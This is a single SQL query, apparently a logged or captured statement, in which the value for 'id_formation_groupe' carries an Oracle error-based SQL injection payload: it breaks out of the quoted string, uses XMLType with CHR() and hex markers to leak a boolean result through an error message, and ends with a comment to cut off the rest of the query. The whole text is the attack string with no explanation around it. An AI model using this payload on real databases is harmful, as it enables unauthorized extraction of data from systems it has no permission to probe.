SELECT *
	FROM pv_formations_groupes
	WHERE id_formation_groupe = '4 ')AND 1659=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||0x687178||(SELECT (CASE WHEN (1659=1659) THEN 1 ELSE 0 END) FROM DUAL)||0x524e44||CHR(62))) FROM DUAL)-- Ykev'